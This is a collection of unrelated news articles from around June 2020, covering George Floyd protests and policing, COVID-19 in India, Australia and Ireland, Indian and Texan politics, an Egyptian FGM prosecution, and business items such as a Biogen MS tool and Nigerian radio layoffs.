
The measure is regarded to have contributed to greater gender equality within the bank, as young female employees are no longer required to wear uniforms.







The Financial Supervisory Service (FSS), which was long regarded as one of the most authoritative and rigid institutions in the finance sector, also introduced a similar system last month.







Every Friday, employees are able to opt for more casual attire. The change has been welcomed by those within the supervisory agency, from younger staff members to officials in managerial positions.







"One advantage of casual attire is that it is much more comfortable to work in," an official at the FSS said. He said this also creates a more relaxed atmosphere within the office.







"Officials in managerial positions are also taking part  we see them wearing chinos instead of suit pants," he said.







An official of the planning and coordination department said the measure was introduced to provide more autonomy to employees.







"Employees are able to choose what to wear as long as it's based on the principle of time, place and occasion (TPO). If they are visiting financial firms for inspection purposes they will need to be dressed smartly, if not, they can dress comfortably."







"We introduced 'casual Friday' as part of efforts to break down the authoritative atmosphere, provide more autonomy to employees and encourage creative thinking," he said.


Lafayette Square has always been the peoples park. From antiwar protests to Occupy to countless other actions, this public square in the line of sight of the White House has an important place in our democracy. Using police, military or any other forces to clear the square can have no purpose other than to shield President Trump from the hard truth of the views of Americas citizens. Lafayette Square is neither Mr. Trump nor Attorney General William P. Barrs private property. It belongs to taxpayers, and we have the right to use it.
By PTI

NEW DELHI: Prime Minister Narendra Modi on Friday assured Rwandan President Paul Kagame of India's steadfast support, including medical assistance, to combat the COVID-19 pandemic in the African nation.

During their telephonic conversation, the prime minister also appreciated the effective management of the crisis under Kagame's leadership, and the firm resolve of the people of Rwanda in combating the challenge.

In a tweet, the prime minister later said Rwanda is, and will remain, an important pillar of India's relationship with Africa.

Modi was responding to a tweet by President Kagame in which he had shared details of the discussions.

Rwanda is, and will remain, an important pillar of India's relationship with Africa.  Narendra Modi (@narendramodi) June 5, 2020

"Rwanda has managed the COVID-19 crisis effectively under your leadership. India is honoured to support your efforts, not only for fighting the pandemic but also for advancing Rwanda's impressive development story," Modi said.

During the talks, Modi expressed satisfaction at the progress achieved in bilateral ties since his visit to Rwanda in 2018, an official statement said.

Kagame recalled the 200 Indian cows gifted by Modi during his visit, and explained that they had helped in improving the availability of milk for Rwandan children and also increased the income of farmers, it said.

The leaders discussed the challenges posed to their healthcare systems and economies by the pandemic.

They also shared information about the steps taken in the respective countries to manage the crisis and ensure the well-being of the people.

They agreed to extend all possible support to each other's expatriate citizens during the present crisis, the statement said.

"The prime minister assured the Rwandan President of India's steadfast support to Rwanda's efforts to combat the coronavirus, including through medical assistance," it said.

Modi conveyed his best wishes for the health and well-being of the people of Rwanda during the present crisis.
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AUSTIN, Texas - Three promoted a Facebook post suggesting George Floyds death was staged. Another shared a Martin Luther King Jr. quote over a picture of a banana. A fifth nudged followers to consider that liberal billionaire George Soros pays black people to riot to keep race wars flaring.

All of them are local GOP leaders in Texas, where Floyd will be buried next week.

Just days before Floyds funeral, a series of racist and conspiracy theory posts circulated by top Republican organizers at the county level  including in Houston, where Floyd will be laid to rest  became a crisis for the Texas GOP on Friday even as Republican Gov. Greg Abbott and his party are pledging to confront racial injustice in the nations biggest red state.

Despite pressure to resign, none of the GOP county chairpersons indicated they would do so. Democrats called it the result of fringe voices and views becoming emboldened under President Donald Trump and finding little in the way of pushback.

Abbott, who denounced the posts and called for resignations, offered no wider takeaway Friday about what it might say about his party in Texas.

The narrow point is this, and that is the death of George Floyd is a travesty and is a result of a criminal act, Abbott said at a briefing Friday about hurricane preparedness. It should not be the subject of any of these conspiracy theories. And its irresponsible for anyone to promote some conspiracy theory of what is otherwise a brutal act of police violence.

Floyd, who was black, spent most of his life in Texas. He died May 25 after a white Minneapolis police officer pressed his knee to Floyds neck for several minutes. His body on Friday was being taken to North Carolina, where he was born 46 years ago, for a public viewing and private service for family before his funeral in Houston.

Keith Nielsen, who is set to become chairman of the Texas GOPs largest local party in Houston later this month, posted the King quote next to a picture of a banana, a racist trope about black people. But on Friday, Nielsen characterized the backlash to the post as a misreading, saying in a statement that he simply wanted to say that its bananas and that peaceful protesters have shown us a better way forward.

In San Antonio, Bexar County GOP Chairwoman Cynthia Brehm also said she would not step down despite widespread condemnation for sharing a post suggesting that Floyds death was staged to inflame racial tensions. The same post was also promoted by two other GOP county chairpersons.

The posts  which came to light in quick succession Thursday  are the latest episode of fringe and racist rhetoric at the local level in Texas causing embarrassment and discomfort for GOP leaders. Last year, a Republican state representative was denounced for suggesting that Asian challengers on the ballot were motivated by race. Another Republican county chairwoman near Houston also used a racial slur in a text message about a black party organizer.

But on Friday, the most recent posts in Texas eclipsed condemnation of Floyds killing expressed by Abbott and other GOP leaders, as well as their efforts to assure protesters and black leaders of their commitment to confronting racial injustice.

Texas state Sen. Royce West, a Democrat running for U.S. Senate who is facing a July primary runoff, praised Republicans for swiftly denouncing the posts. But West, who is black, said the GOP been too timid when it comes to calling out fringe or racist rhetoric.

It comes from Donald Trump, West said. You have failed leadership in the White House, and also when you look at leaders in the state and Republican leaders. They havent really taken strong stances.

West said he would attend Floyds funeral. Abbott did not respond Friday when asked whether he would attend.

Tweeted Republican Sen. Ted Cruz: Stop saying stupid, racist things. Our country is grieving.
Criminal charges brought against father, doctor for cutting genitals of three minors under vaccination pretext.

Egyptian authorities will prosecute the father of three girls who they say were tricked into undergoing female genital mutilation (FGM) and the doctor who performed the illegal surgery.

The prosecutor-general said the girls, all minors, had been told the doctor was coming to vaccinate them against the coronavirus, but instead they were injected with a drug that knocked them out and they were operated on.

FGM is illegal in Egypt and when the girls, whose parents are divorced, told their mother what had happened she reported it to police.

The public prosecution has ordered the referral of a doctor and the father of three girls to an urgent criminal trial, said an official statement released on Wednesday.

It said the doctor was charged with performing the procedure and the father with assisting him in the alleged crime.

Egypt banned FGM in 2008 and made it a felony in 2016, but the procedure remains rife in the Muslim-majority country, with many believing it promotes womens chastity.

Doctors who perform the procedure can now be jailed for up to seven years and anyone requesting it be carried out faces up to three years in jail.

No one has been successfully prosecuted under the 2016 law and womens rights groups in Egypt say the ban has not been well enforced.

Ancient ritual

Investigators said the doctor had given the girls  all under the age of 18  a general anaesthetic, according to the prosecutors statement.

They lost consciousness and when they woke up they were shocked to find their legs bound together and a sensation of pain in their genitals, it said.

A forensic report revealed the excision of  reproductive organs.





Womens rights campaigners said the mothers decision to report the crime showed awareness of the damage FGM causes was increasing and welcomed what they said was decisive action by the authorities.

It is encouraging that authorities have started to take action against female genital mutilation and that girls and mothers have become more aware of the dangers of the procedure, Entessar el-Saeed, head of the Cairo Center for Development and Law, told Reuters News Agency.

The head of Egypts National Council for Women Maya Morsi also welcomed the swift prosecution, tweeting there should be no tolerance for the practice.

A 2016 survey by the UN Childrens Fund, UNICEF, showed 87 percent of Egyptian women and girls aged 15-49 had undergone FGM.

World leaders have pledged to eradicate FGM by 2030, but campaigners say the ancient ritual, which typically involves the partial or total removal of the external genitalia, remains deeply entrenched in many places.
To the rescue: Frontline Star Louise Rooney with Evan (7), Oran (3), Colm (5) and Cian McHugh (8) at the home of Grainne McHugh in Longford. Photo: Gerry Mooney

Childminder Louise Rooney has been the "unsung hero" of Covid-19 for the McHugh family.

For the past two years, Ms Rooney has been helping to look after the four McHugh children, Cian (8), Evan (7), Colm (5) and Oran (3).

She stepped up again when their mum Grainne was hospitalised for a month during the height of the lockdown.

Today, Ms Rooney is honoured as the Irish Independent Frontline Star of the Week in association with the Croke Park Hotel.

Her effort and dedication is representative of the many nominations we have received for heroes across Ireland -from retail workers to carers and of course medical staff.

Grainne and Brendan McHugh work as pharmacists and have been working on the frontline since the pandemic hit Ireland.

Ms McHugh said she nominated Ms Rooney because she was one of the "precious childminders" who were the "unsung heroes" of Covid-19.

All four of their children were home from school and "there was never a hesitation from Louise to come in and help us", Ms McHugh said.

But in April, Ms McHugh started to feel sick. She was diagnosed with autoimmune encephalitis, spending 31 days in hospital.

Her husband still had to work so Ms Rooney started childminding for five days a week instead of her previous three.

It was the first time Ms McHugh had spent more than a night away from her children and Cian said the time his mother spent in hospital was the "worst time" of his life.

Her youngest, Oran, turned three when she was in hospital. He was rocking back and forth when he was talking to his mother on FaceTime.

Ms Rooney said she was shocked to find out she was this week's Frontline Star.

"I don't feel like I'm that worthy of a hero award or whatever you want to call it!" she said.

Working with children through the disruption of Covid-19 has been tough, she said. "Especially for the smaller ones, it was harder for them to process the whole thing. Especially the three-year-old, he didn't know where his mammy was gone," Ms Rooney said. "It was tough enough and poor Grainne was in hospital. If she ever needed me, she definitely needed me then. It was grand, we're getting through it."

Ms Rooney (50) added: "At the end of the day, it's my job to look after them and make sure no harm comes to them."

Ms McHugh said: "Louise was there every step of the way, caring for our children while my husband had to go to work. The wonderful thing is she had a routine with them.

"She's so good with the lads, sometimes I think she's better than me," she joked.

Ms McHugh said she believed "Louise was meant for our family and I am so grateful every minute of every day that we have her as our childminder". Ms Rooney had been a lifeline during an extremely difficult time.

She also wanted to praise the staff of Medical Three ward in Mullingar hospital, and St Theresa's ward in the Mater Hospital.

For more than 60 years, the Irish Independent has honoured the Sportstar of the Week. This year our nation has faced a challenge far beyond our sporting fields. To nominate someone, email your submission (100 words max), along with a photo, to frontlinestar@independent.ie. Each weekly winner receives a complimentary dinner, bed and breakfast stay at the Croke Park Hotel
New Delhi, June 5 : Dubbing the "financial economic package" and "vocal for local" call of Prime Minister Narendra Modi as more rhetoric, the Congress on Friday said that the government was trying to divert the attention of the people from "real issues".

Addressing a press conference through video conferencing, senior Congress leader Kapil Sibal said, "The Prime Minister on May 12 asked the country to go vocal for local and announced an economic package to make the country self-reliant and termed it as Atmanirbhar Abhiyaan (Self reliant)." "However, it failed to help make the poor, the farmers, the migrant workers, the industry or the states self-reliant," he said. Targeting the government, Sibal said that similarly his exhortation to industry to push 'Make in India, Made for the World', expand globally not be dependent on another country in strategic sector did not have a clear roadmap as to how this goal should be achieved.

Firing salvos at the government, the Congress leader said, "How can India become self-reliant until it creates innovation and intellectual property in its universities? This is an act of self deception. This is another rhetoric that you sell to the people of the country," the Congress leader said.

Attacking the government, Sibal said, "We are only manufacturing rhetoric, statements and slogans. That is the only thing we make in India and we are masters at that under this government." Questioning the Rs 20 lakh crore economic package, Sibal said that the 'Atmanirbhar' package does not lead to expansion of government expenditure, as it includes measures already announced by RBI and the budget and amounts to less than one per cent of the gross domestic product (GDP), as against 10 per cent claimed by the government.

"The reality is that Modi's 'Atmanirbhar' idea is merely a slogan like innumerable others," Sibal said. He also called for private investment in the universities to create innovation and ideas, which he said did not amount to privatisation.
What can be done about Washington County's high SUIDs rate?

Washington County has the highest rate of sudden, unexpected infant deaths in the state for 2015-2019. What can be done to prevent it?
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Its darkest before the dawn

The worst may be over for the U.S. labor market. Economists expect another grim monthly employment report today  jobs data will be released at 8:30 a.m. Eastern  but then predict that the numbers will turn more positive.

The unemployment rate could hit 20 percent in May, the highest rate since the Great Depression.

 Other stats in the report are expected to be uniformly awful: Economists expect about 8 million jobs to have been lost in the month. Thats down from 20.5 million in April, but incredibly high by any other historical measure.

 A recent analysis of the labor market by race, by The Timess Jeanna Smialek and Jim Tankersley, showed how minority unemployment is consistently higher than white unemployment. Less than half of black adults had a job in April, and with the spotlight on racial discrimination amid widespread social unrest, this report will provide more evidence of the stark economic inequality that persists, and is in some ways getting worse.

Signs of a more rapid reopening than expected have made forecasting harder than usual, but many economists expect that May will be the worst for the job market. The rising stock market reflects growing optimism, too.
Biogen Inc. today announced the launch of a free, new, digital self-help tool to help people living with multiple sclerosis (MS) navigate the emotional challenges of life with the disease. The tool, named ACT MySelf, was developed by Biogen in collaboration with people living with MS, the MS Trust, a team of MS specialist nurses and an MS clinical psychologist. The tool has been developed in response to UK research revealing the emotional pressure points experienced by people living with MS, particularly at diagnosis and early in the disease1.

Recent data from the NHS and the MS Trust have also suggested that the number of people living with MS experiencing these emotional pressure points may be increasing2,3. In 2019 alone, the NHS reported a 24.5% rise in anxiety disorders amongst people living with MS3, and a recent survey published by the MS Trust revealed that 72% of people living with MS report that they have felt anxious or depressed for more than several days a month2.

With the rise in anxiety levels among the general population following the COVID-19 lockdown4, and the increased pressure on healthcare professionals during the pandemic, utilisation of self-help digital tools, such as ACT MySelf can help provide additional support to those living with MS, as well as MS nurses, neurologists and mental health services.

It is deeply concerning that so many people affected by MS are not receiving the emotional support they need. Living with a long-term condition like MS does not only mean facing physical challenges, it can mean overcoming mental challenges too, and we believe it is absolutely vital that the support and information is out there to help people with MS, and loved-ones, who are struggling with their mental health, said David Martin, Chief Executive at the MS Trust and Vice Chair of the Neurological Alliance.

ACT MySelf guides people through exercises based on Acceptance and Commitment Therapy (ACT), a validated psychological therapy that is used in the management of conditions such as anxiety, depression and pain, and which has been shown to benefit people living with MS5. The tool helps people to learn strategies to live life more in the present, with more focus on whats important to them and less focus on painful thoughts, feelings and experiences6.

There is often limited resource within MS services dedicated to psychological or emotional support. We developed the ACT MySelf tool to help address this, as a widely available tool for those who do not require specialist intervention. Its an easy-to-use resource, incorporating simple exercises that those living with MS may benefit from to help them live a valued life, said Carolyn Patterson, Clinical Psychologist, Ayrshire Central Hospital, NHS Ayrshire and Arran and one of the experts involved in developing ACT MySelf.

The tool was developed in response to research sponsored by Biogen, which revealed that people with MS in the UK experience feelings of anxiety, fear, confusion and uncertainty around key points in their diagnosis and treatment journey1. The research highlighted that women experience their MS very differently from men, with far more women reporting feeling fear when noticing symptoms or seeing a neurologist. However, men are much more prone to depression in the pre-diagnosis stage, at least three times as much as women1.

There are now more than 130,000 people living with MS in the UK, and MS nurses, who can be a vital source of emotional support, are facing increased demands on their time, said Alexandra Handrich, Biogen Vice President, Managing Director UK and Ireland. We believe that digital tools like ACT MySelf, and the Cleo health and wellbeing app launched in the UK last year, can play an important part in putting support into the hands of people affected by MS where and when they need it.

References:

1: Biogen Data on File  NPS001

2: MS Trust. People with MS arent getting enough mental health support, survey shows. Available at: https://www.mstrust.org.uk/news/people-ms-arent-getting-enough-mental-health-support-survey-shows Last accessed: May 2020.

3: Secondary care data is taken from the English Hospital Episode Statistics (HES) database produced by NHS Digital, the new trading name for the Health and Social Care Information Centre (HSCIC). Copyright  2020, the Health and Social Care Information Centre. Re-used with the permission of the Health and Social Care Information Centre. All rights reserved.

4: Office for National Statistics. Coronavirus (COVID-19) roundup. Available at https://www.ons.gov.uk/peoplepopulationandcommunity/healthandsocialcare/conditionsanddiseases/articles/coronaviruscovid19roundup/2020-03-26#wellbeing Last accessed: May 2020.

5: MS Trust. Acceptance and Commitment Therapy. Available at: https://www.mstrust.org.uk/a-z/acceptance-and-commitment-therapy-act Last accessed: May 2020.

6: Association for Contextual Behavioural Science. ACT for the Public. Available at: https://contextualscience.org/act_for_the_public Last accessed: May 2020.
Social media streams on Wednesday night were filled with videos of New York Police Department officers using force on protesters who did not appear to be resisting or fighting back at all, but if New Yorkers are hoping that the officers will be punished theyre likely to be disappointed.

There were officers hitting a man with a baton as he walks away with his bike, before other officers ran in to join the beating.

People stuck in traffic are witnessing NYPD beat up folks on their way home. pic.twitter.com/AkUGPQQOIf  Josh Fox BlackLivesMatter (@joshfoxfilm) June 4, 2020

There were reports of a man with a bleeding head being shoved to the ground by police, widespread reports of police officers taking peoples bikes and video of cops pushing through an apparently peaceful crowd.

The moment NYPD struck against peaceful protesters in downtown Brooklyn pic.twitter.com/YOERVnNsnh  Zach Williams (@ZachReports) June 4, 2020

Thats just a few of the many instances of police officers potentially violating the NYPD patrol guide  and even the law  in the last week, as officers responded to protests against racism and police violence.

New Yorkers looking for transparency and accountability from their police department probably wont get it. The NYPD has found many ways, both institutional and personal, to make sure the public cant easily find out which officers might be breaking the rules and what punishment they might receive.

Many officers have been covering up their badge numbers with black elastic bands. The mourning bands are meant to honor the dozens of NYPD personnel who have died from the coronavirus in the last few months, but the departments patrol guide is clear that the bands should be worn higher on the badge and not cover the officers shield number or rank designation. Officers can often be visually identified by the public in other ways, by numbers on their helmet or their nameplate  but not always, as some officers have also removed their name tags.

The clear attempt at obfuscating identity has struck a nerve. The National Lawyers Guild has threatened to sue, saying this practice provides a sense of impunity to members of the service that they can violate demonstrators rights without consequence. Assemblyman Harvey Epstein, a Manhattan Democrat, introduced legislation to make it a misdemeanor for officers to obscure their badge numbers. In an open letter to New York City Mayor Bill de Blasio, hundreds of his former staffers demanded that he immediately fire the officers who have covered their badges at protests.

However, the NYPD hasnt seemed particularly concerned. NYPD Chief of Department Terence A. Monahan shrugged it off when City & State asked him about the practice. Its supposed to be off the numbers, Monahan said Tuesday night, referring to the black bands. But sometimes when you wrestle with people on the street, it moves down.

Others attending protests in New York have noticed that many officers have their body cameras turned off. That isnt necessarily against policy, since officers are only required to turn on body cameras in specific situations, such as when they are interacting with a suspect.

Some civil rights advocates have called for body cameras to be turned on in a wider set of circumstances. There is widespread disagreement on that issue, with many privacy advocates raising concerns about the cameras being used as active surveillance.

Nor do the mayor or governor seem to be overly concerned with holding officers accountable. While de Blasio ordered an investigation of the NYPDs response to protesters on Sunday, it will be run by two of his own appointees, rather than an independent body. And de Blasio said on Thursday morning that he had not yet seen any of the widely shared videos of police hitting protestors with batons. Gov. Andrew Cuomo also seemed to deny on Thursday that cops used batons on peaceful protesters, despite apparent evidence to the contrary caught on numerous videos.

The primary way that New York has limited police accountability is through an interpretation of New York state Civil Rights Law Section 50-a, which severely limits the release of police disciplinary records. That means New Yorkers cant legally see whether certain officers have a history of complaints against them or whether they have faced internal discipline from the department. Active disciplinary investigations are also made secret and no details are revealed, unless reporters can attend the hearings held inside NYPD headquarters.

Criminal justice reform-minded legislators have been pushing for a repeal or a reform of 50-a for years, but it has failed to pass. Now thanks to the protests, the movement to repeal has earned more public support, and New York legislators inboxes have been flooded with demands to pass a bill. They will face opposition from New Yorks police unions, which have long opposed increasing transparency. But Gov. Andrew Cuomo, who has previously shied away from supporting the change, is now calling for reforming the law, though not repealing. Thats also true for New York City Mayor Bill de Blasio, who at his press conference Thursday reiterated that he would support a repeal of 50-a, as long as a bill included additional language that would protect accused officers home addresses from being publicized. However, de Blasios concern appears to be grandstanding. As Gothamist reports, personal information like addresses are already protected from disclosure under the states Freedom of Information Law, and the repeal of 50-a wouldnt change that.

Although de Blasio says he supports reforming the law, he declined to release the names or disciplinary records of police officers who are currently being investigated in connection to the protests. If 50-a were repealed, the public could know much more information about the officers who drove their police cars forward into crowds of protestors in Brooklyn on Saturday. And though disciplinary records in high-profile cases have previously been leaked without major consequence, de Blasio said those officers and their records will be kept secret for now. There are things we cannot release under state law and we don't do illegal acts, de Blasio said that his Law Department told him, which is why I would like us to simply get rid of a broken law.
Barely three months after take off, NewCruise 92.7 FM, an Ikere-Ekiti based radio service owned by a former president of the Nigeria Bar Association, Wole Olanipekun, on Monday sacked 13 workers.

The radio station is a division of WOLDAB Communications Limited owned by the lawyer. It is the first radio station in Ekiti established outside the state capital, Ado Ekiti. It started operation in March and went on full transmission on April 14.

The 13 workers said their appointments were terminated without the management serving them due notice as stated in their employment letters.

A copy of one of the employment letters seen by PREMIUM TIMES states: Either party can terminate the employment by giving one month notice or paying one month salary in lieu of Notice. However, the employee reserves the right to terminate the employment on any act of misconduct on the part of the employee.

In the sack letters dated May 31 but distributed on Monday, the organisation did not state the reason for the termination of appointment. It merely said the services of the workers were no longer needed as a result of recent reorganisation.

Sequel to the recent reorganisation of the establishment, I regret to inform you that your services are no longer needed.

Kindly hand over the companys property in your care to the Administrative Officer, while wishing you all the best in your future endeavour, the letter reads.

PREMIUM TIMES gathered that the workers were also not paid May salary.

One of the sacked workers who spoke with PREMIUM TIMES said:

The station is barely three months old, it started operation in March. To lay people off barely three months shows that you are not prepared for it.

The sacked worker said most of them left their previous works after the radio station made them better offers.

He said Mr Olanipekun assured the new employees during their training that he had set aside money for their salaries for the next six months.

Another sacked worker said their salaries had earlier been slashed in March and April from what was promised them.

He also revealed that the management had announced that salary for May would be slashed too.

NUJ reacts

Rotimi Ojomoyela, the Ekiti State chairman of the Nigeria Union of Journalists (NUJ), confirmed the incident and expressed his unhappiness over the situation.

Journalism in Nigeria is an endangered profession, nobody gives you notice they will send you home. And that has always been the bane of media industries in the country, he said.

The radio station you are referring to, its quite unfortunate that it has to go like that. They were asked to go and some of them that retained their salaries were slashed by half.

Its a very terrible thing and its a thing that one is not particularly proud of. Its unfortunate that our colleagues could be subjected to this kind of inhumane treatment where labour laws no longer apply where people just hire and fire the way they like.

Some of our colleagues are even working without pay in some media houses for 2 to 3 years without salary and they are there.

Mr Ojomoyela said the union planned to visit the station and have a discussion with the management.

We share the feelings of our colleagues that were laid off unfortunately its a new radio station. Perhaps they have not been making anything there could be a lot of reasons for them asking to work away for a while, he said.

I wouldnt want to criticize the management negatively because there is a possibility that some of them might be recalled so I wouldnt want to be too harsh. So we are looking for a way to talk to them whether we can extract little promises from them on behalf of these our colleagues, he added.

Radio station reacts

In a brief telephone conversation with Premium Times, NewCruise FM Head of station, Jide Ogunluyi, denied that any staff was laid off.

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When confronted with a copy of a sack letter signed by the stations Admin Officer, Babatunde Daramola, he said: Well, we have no Babatunde Daramola. Is that clear? and he hung up on our reporter.

Refuting Mr Ogunluyis claim, a sacked officer confirmed Mr Daramolas position as the admin officer of the radio station.
She said activist group Warriors of the Aboriginal Resistance (WAR) believed the NSW Supreme Court decision was a move to "silence Aboriginal peoples voice", and did not accept authorities' fears that the protest could result in a spike in COVID-19 cases. "Not at all, the NRL is opening up [for spectators] next week," she said. "Were an essential service, saving black lives and protecting black lives is an essential service. On Friday, Victoria's police force, Premier and Chief Health Officer all asked people not to attend the Melbourne rally, while the Prime Minister and federal Health Minister also urged against taking part in protests across Australia on Saturday. Deputy Commissioner Shane Patton, who was named the state's new Chief Commissioner this week, said police had been urging organisers to cancel the Black Lives Matter rally, which will converge on the steps of Parliament House from 2pm. Chief Health Officer Brett Sutton said that Victoria's effort to suppress COVID-19 could be set back by the planned rally, which is expected to attract tens of thousands of people.

Warriors of Aboriginal Resistance (WAR) organiser Tarneen Onus Williams plans to push ahead with the anti-racism rally and observe social-distancing laws. Credit:Justin McManus But representatives of WAR, which has organised the demonstration to highlight Aboriginal deaths in custody and the death of Minneapolis man George Floyd at the hands of police, have vowed to continue while urging protesters to take precautions. WAR organiser Meriki Onus urged those attending the event on Saturday to bring masks and said community safety was paramount. Do not protest in groups of more than 20 and within your group of 20 you are to remain 1.5 metres apart and ensure there is distance between each group of 20, she said. She also urged attendees to bring hand sanitiser and use it regularly.

This is a global and historic movement, a product of hundreds of years of systemic racism and policing that the state has contributed to. Every time we rally, the state and police attempt to stop us by force, she said. Police in South Australia have acknowledged that this must go ahead and are working with organisers to ensure safety for people attending. This is what we are asking. Governments and police are trying to deflect from their failures and responsibility. Since 1992, 432 Aboriginal people have died in custody with countless more before then. No one has never been convicted for their deaths. Protest is not a choice when so many of our people are murdered at the hands of police and prison guards. We stress that the safety of our community is paramount. The organisers then read out a list of 12 demands, which included the dismantling of the police and justice system, an end to police brutality and racist policing practices and the reopening of inquests and cases of Aboriginal deaths in custody to be overseen by independent bodies.

Mr Patton said police were resigned to not being able to fine everyone who turned up at the rally, given the impracticality of doing so. However, they would fine some organisers and may send infringement notices to people after the event. "We dont want to be applying any use of force whatsoever  we dont even want this to go ahead, but if it does, we will try and have a peaceful [event], but people have to be accountable for their actions," he said. "If it goes ahead we'll probably have to apply a lot of discretion because you can't practically issue thousands and thousands of infringements." Mr Patton said if the protest became unruly and if police were physically confronted by protesters, they would arrest attendees. Police could issue a declaration to perform searches on protesters if necessary, he said.

"We will do what we can," he said. "My message is 'dont go', it will be illegal because of the Chief Health Officers directions. "Do it online, do it at home, post something in solidarity online." A statement issued by Victoria Police on Friday afternoon reinforced Mr Patton's message: "There are obvious and potentially dire public health consequences should this event lead to an outbreak of coronavirus". Victoria Police statement Claims in the media this week that Victoria Police will not be issuing infringement notices to people who breach Chief Health Officer directions at tomorrows planned protest in the CBD are wrong. In the exercise of police discretion, those who intentionally break the law will be held to account, and we have again contacted the organisers of the protest this morning to ensure this point is understood. As Assistant Commissioner Luke Cornelius made clear earlier this week, it is our strong preference that the protest does not occur at this time, while the restrictions in relation to public gatherings remain in place. There are obvious and potentially dire public health consequences should this event lead to an outbreak of coronavirus. If it is to proceed then it must be conducted in a manner which does not breach the Chief Health Officer directions. We have also been clear that it would not be practical to issue infringements to thousands of persons congregating for a protest. We wish to keep the protest a peaceful one. That said, after the event and as per other recent protests, we will assess the evidence of the protest and if it did breach CHO guidelines we will not hesitate to issue infringement notices to the organisers. We will also consider other persons whom it may be appropriate to infringe. NSW Police took the organisers of Sydney's simultaneous Black Lives Matter protest to the Supreme Court, after the number of people expected to join the rally swelled in the time since it was given approval.

NSW Premier Gladys Berejiklian said it "never was and never will be" the state's intention to allow thousands of people to be "flagrantly disregarding the [state's] health orders". Prime Minister Scott Morrison also urged people not to attend protests which are planned to take place across the country. "Our message is very clear," Mr Morrison said. "The health risks and the risks of people coming into close proximity are real, and Australians have worked incredibly hard in recent months and undergone great sacrifices to protect the health of the most vulnerable, and that has included our Indigenous communities." Gatherings of more than 20 people are not permitted under Victoria's current regulations but more than 30,000 people have indicated they will attend or are interested in this weekend's march against police brutality. A Black Lives Matter rally in London last weekend. Credit:Getty

Organisers have asked people to wear masks, bring hand sanitiser and self-isolate afterwards if they can, but Dr Sutton said now was not the time to hold a protest. "There is a risk that all of the gains that we have made are put at risk by people gathering in large numbers," he said. "It takes a single individual who is infectious to potentially transmit to many others in a mass gathering setting. "I am advising people not to attend. There are other ways to protest."

Dr Sutton said anyone who ignores advice to not attend should stay 1.5 metres apart and wear a mask if they can. However, he said this would be difficult when people are protesting loudly. "That's what protests do so that adds to my concern about the risk of transmission," he said. Premier Daniel Andrews has one clear message to protesters: "Don't go" and find a safer way to make the same point.

Loading "We are in the middle of a global pandemic. This is serious," Mr Andrews said. "We don't want all the hard work, all the sacrifice that Victorians have made, frittered away by people gathering to make an important point, but it is not the only way to make that point." There were three new COVID-19 cases in Victoria recorded overnight, taking the total number of people who have had the virus to 1681. There are currently 74 active cases in the state. Of the new cases, two were returned travellers in hotel quarantine and one was a prep student from Newbury Primary School in Craigieburn.

The student had no symptoms last week and developed symptoms over the weekend. The school is closed for cleaning and will reopen next week. Mr Morrison said one of the government's biggest worries at the start of the coronavirus outbreak was the potential impact on Indigenous communities. "This isn't about people's ability to express themselves and engage in protest activity, we all respect that," he said. But Mr Morrison urged protesters to find another way to express their views without putting their health and that of others at risk, along with "the great gains we have been able to make as a country in recent months".

"I encourage people not to attend for those reasons and those reasons only," he said. The Australian Health Protection Principal Committee, made up of federal, state and territory chief health officers, released a statement after its meeting on Friday afternoon stating that the expert body "is extremely concerned about proposed large gatherings for protests over the coming weekend and beyond". "Australians are reminded that in our recent past a single person infected more than 35 others," the statement said. "This virus is very, very infectious." With Laura Chung, Michaela Whitbourn and Rachael Dexter
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Hyderabad: A total of 48 post-graduate (PG) doctors have tested positive for COVID-19 so far in Hyderabad. Of these, 17 are from the Osmania Medical College (OMC), taking the total number to 32.

Two doctors from Gandhi Medical College (GMC) also tested positive on Thursday, and the hospital now has four physicians stricken with COVID-19. Five others from Nizams Institute of Medical Sciences tested positive, and the number there has gone up to 12.

One senior doctor from the cardiology department of the Nizam's Institute of Medical Sciences (NIMS) has tested positive. Two professors, an ex-professor and three associate professors at the Petlaburj Government Maternity Hospital have tested positive.

Post-graduate students of medicine, who are the most exposed to COVID-19 patients in the wards, have criticised the government's handling of the WHO-mandated COVID-19 protocol. Writing in the Deccan Chronicle, a doctor who tested positive after performing a C-section said, "There is reluctance in the government to quarantine the (exposed) students. The hospitals need attention from government in terms of sanitisation, screening of patients and proper management in isolation. The isolation ward of 20 beds has people walking in and out."

Post-graduate medical students are demanding mass screening of frontline medical staff as they are being exposed to risk but the capacity for testing at some of the premier hospitals in the capital city of Telangana is as little as 120 per day.

Telangana is unique among the southern states for limiting coronavirus testing. It has the lowest testing rates in the south.

After the spread of the coronavirus in the medical community became public this week, the state government of Telangana finally issued orders for quarantine of the affected PG doctors. This has come as a relief to medical students.

Senior doctors said, however, that this is not enough. Testing or screening of patients coming for elective surgeries have to be carried out rigorously so that the risk to doctors treating is minimised.

In government maternity hospitals in Hyderabad, however, pregnant women are not being screened as they come in for delivery, and the result is now being seen in the explosion of infection among the medical community.

The problem of coronavirus infection is highest at the Petlaburj Maternity Hospital in the old city of Hyderabad, as it is a major referral centre. A senior gynaecologist, speaking on the condition of anonymity, said, We are carrying out normal deliveries and C-sections even for suspected COVID-19 cases as we cannot let young pregnant women suffer. They are coming from areas where the infection has spread but there has not been any screening despite our demand for it. A chest X-ray is done and even if the film shows the telltale effects of coronavirus infection, we have to go through with the case. Pregnant women must be protected and so must the doctors.

There is a vicious cycle at play at the government hospitals treating coronavirus cases. They are in serious risk of becoming hotspots and sources of further spread of the infection. The protocols demand sanitising and cleaning of operation theatres, Xray labs, in fact the complete hospital. But due to budget constraints, this is not being done to optimum level.

Another senior gynaecologist explained, The exposure level of immune-compromised pregnant women is high. We are asking to screen every patient and if positive, the isolation and treatment becomes easy. The fear of cross infection and spread can be curtailed.
A 20-year-old black protester with a fractured skull and brain damage, a 59-year-old grandmother in a medically induced coma, and a 26-year-old who lost his left eye are some of the latest victims of non-lethal forms of crowd control used by police across the country.

The George Floyd protests, which have been largely nonviolent, have also been marred by rioting and police attempts to crack down on curfew violations through the use of so-called non-lethal means.

But experts say that the use of tear gas, rubber bullets and flash bangs could leave victims with severe injuries, including permanent vision loss, brain damage, internal bleeding, hearing and respiratory failure, and, in rare cases, death.

In Austin, Texas, a 20-year-old man, Justin Howell, took part in a protest on Sunday when he was hit in the head with a less-lethal projectile.

Brandon Saenz, 26, of Dallas lost his left eye on Saturday when he was struck by a rubber bullet fired by police officers during a protest against police brutality

According to the website of one manufacturer, rubber bullets - also known as sponge grenades - are designed to cause blunt trauma pain. Sponge grenades are 40-mm rounds that consist of a plastic base and a rounded tip. They are used at relatively short ranges - up to a few dozen meters

